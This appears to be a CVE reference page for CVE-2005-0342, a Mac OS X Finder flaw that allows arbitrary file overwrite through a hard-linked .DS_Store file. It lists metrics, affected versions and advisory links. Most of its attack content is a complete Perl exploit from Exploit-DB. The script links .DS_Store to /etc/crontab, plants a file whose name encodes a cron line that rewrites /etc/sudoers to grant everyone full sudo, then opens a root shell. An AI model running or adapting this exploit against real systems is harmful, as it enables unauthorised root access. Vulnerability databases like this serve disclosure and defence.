CVE-2005-0342 : Detail

CVE-2005-0342

0.21%V4
Local
2005-02-10
04h00 +00:00
2017-07-10
12h57 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

The Finder in Mac OS X and earlier allows local users to overwrite arbitrary files and gain privileges by creating a hard link from the .DS_Store file to an arbitrary file.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 2.1 AV:L/AC:L/Au:N/C:N/I:P/A:N nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 793

Publication date : 2005-02-06 23h00 +00:00
Author : vade79
EDB Verified : Yes

#!/usr/bin/perl # # [OSX Finder] DS_Store arbitrary file overwrite exploit. (root version) # # vade79 -> v9@fakehalo.us (fakehalo/realhalo) # # this will create a directory called "xfinder" in your home directory, # once the root user has modified that directory using Finder in almost any # way(such as copying a file out of it, etc) it will write to the .DS_Store # file in that directory. the data written to the .DS_Store file will # consist of the filenames/subdirectories making up the directory and the # attributes of the directory. # # this exploit works by linking the .DS_Store file to /etc/crontab, and # creating a special unicode(utf8 encoded) file in the directory. the file # created in unicode is equal to(in ASCII): # '\n\n* * * * * root echo "ALL ALL=(ALL) ALL">/etc/sudoers\n\n' # # this file will display as a japanese-like series of characters and # is (part of) what is written to the .DS_Store file, which allows for # the privilege escalation. once this line has been written to # /etc/crontab(along with other .DS_Store data), crontab will overwrite # /etc/sudoers with "ALL ALL=(ALL) ALL" and you can then sudo to root. # # note: this is done through crontab->sudo because sudo will complain # of the .DS_Store garbage data in the /etc/sudoers file and exit, # whereas crontab will ignore it. # # (sorry for the squished/ugly script, just a precaution for # wordwrapping) use encoding utf8; sub pexit{print("[!] @_.\n");exit(1);} $testdir="$ENV{HOME}/xfinder"; print("[OSX Finder] DS_Store arbitrary file overwrite exploit.\n\n"); if(!-f"/etc/crontab"||!-f"/etc/sudoers"){ pexit("/etc/crontab and /etc/sudoers are required for this to work"); } mkdir($testdir)||pexit("Could make the directory \"$testdir\", " . "make sure it doesn't already exist"); chdir($testdir)||pexit("Could change the directory to \"$testdir\""); # = "\n\n* * * * * root echo "ALL ALL=(ALL) ALL">/etc/sudoers\n\n" open(TOUCH,">" . Encode::encode_utf8( "\x{0a0a}\x{2a20}\x{2a20}\x{2a20}\x{2a20}\x{2a20}\x{726f}\x{6f74}" . "\x{2065}\x{6368}\x{6f20}\x{2241}\x{4c4c}\x{2041}\x{4c4c}\x{3d28}" . "\x{414c}\x{4c29}\x{2041}\x{4c4c}\x{223e}\x{2f65}\x{7463}\x{2f73}" . "\x{7564}\x{6f65}\x{7273}\x{0a0a}"))||pexit("Could not create " . "unicode/utf8 encoded filename"); close(TOUCH); link("/etc/crontab",".DS_Store")||pexit("Could not link .DS_Store " . "to /etc/crontab"); print("[+] Waiting for root user to modify \"$testdir\" with " . "Finder...\n"); print("[?] (CTRL-C if desired, this script does not need to be " . "running to work)\n"); @ast=@st=stat("/etc/crontab"); while($st[7]==$ast[7]&&$st[9]==$ast[9]){ sleep(1); @ast=stat("/etc/crontab"); } print("[+] /etc/crontab has been modified.\n"); print("[+] Waiting for crontab to change /etc/sudoers...\n"); @ast=@st=stat("/etc/sudoers"); while($st[7]==$ast[7]&&$st[9]==$ast[9]){ sleep(1); @ast=stat("/etc/sudoers"); } print("[+] /etc/sudoers has been modified.\n"); print("[+] Attempting to \"sudo sh\". (use YOUR password)\n"); system("sudo sh"); exit(0); # milw0rm.com [2005-02-07]

Products Mentioned

Configuraton 0

Apple>>Mac_os_x >> Version 10.0

Apple>>Mac_os_x >> Version 10.0.1

Apple>>Mac_os_x >> Version 10.0.2

Apple>>Mac_os_x >> Version 10.0.3

Apple>>Mac_os_x >> Version 10.0.4

Apple>>Mac_os_x >> Version 10.1

Apple>>Mac_os_x >> Version 10.1.1

Apple>>Mac_os_x >> Version 10.1.2

Apple>>Mac_os_x >> Version 10.1.3

Apple>>Mac_os_x >> Version 10.1.4

Apple>>Mac_os_x >> Version 10.1.5

Apple>>Mac_os_x >> Version 10.2

Apple>>Mac_os_x >> Version 10.2.1

Apple>>Mac_os_x >> Version 10.2.2

Apple>>Mac_os_x >> Version 10.2.3

Apple>>Mac_os_x >> Version 10.2.4

Apple>>Mac_os_x >> Version 10.2.5

Apple>>Mac_os_x >> Version 10.2.6

Apple>>Mac_os_x >> Version 10.2.7

Apple>>Mac_os_x >> Version 10.2.8

Apple>>Mac_os_x >> Version 10.3

Apple>>Mac_os_x >> Version 10.3.1

Apple>>Mac_os_x >> Version 10.3.2

Apple>>Mac_os_x >> Version 10.3.3

Apple>>Mac_os_x >> Version 10.3.4

Apple>>Mac_os_x >> Version 10.3.5

Apple>>Mac_os_x >> Version 10.3.6

Apple>>Mac_os_x >> Version 10.3.7

Apple>>Mac_os_x_server >> Version 10.0

Apple>>Mac_os_x_server >> Version 10.1

Apple>>Mac_os_x_server >> Version 10.1.1

Apple>>Mac_os_x_server >> Version 10.1.2

Apple>>Mac_os_x_server >> Version 10.1.3

Apple>>Mac_os_x_server >> Version 10.1.4

Apple>>Mac_os_x_server >> Version 10.1.5

Apple>>Mac_os_x_server >> Version 10.2

Apple>>Mac_os_x_server >> Version 10.2.1

Apple>>Mac_os_x_server >> Version 10.2.2

Apple>>Mac_os_x_server >> Version 10.2.3

Apple>>Mac_os_x_server >> Version 10.2.4

Apple>>Mac_os_x_server >> Version 10.2.5

Apple>>Mac_os_x_server >> Version 10.2.6

Apple>>Mac_os_x_server >> Version 10.2.7

Apple>>Mac_os_x_server >> Version 10.2.8

Apple>>Mac_os_x_server >> Version 10.3

Apple>>Mac_os_x_server >> Version 10.3.1

Apple>>Mac_os_x_server >> Version 10.3.2

Apple>>Mac_os_x_server >> Version 10.3.3

Apple>>Mac_os_x_server >> Version 10.3.4

Apple>>Mac_os_x_server >> Version 10.3.5

Apple>>Mac_os_x_server >> Version 10.3.6

Apple>>Mac_os_x_server >> Version 10.3.7

References

http://secunia.com/advisories/14188
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/12458
Tags : vdb-entry, x_refsource_BID
http://marc.info/?l=bugtraq&m=110780124707975&w=2
Tags : mailing-list, x_refsource_BUGTRAQ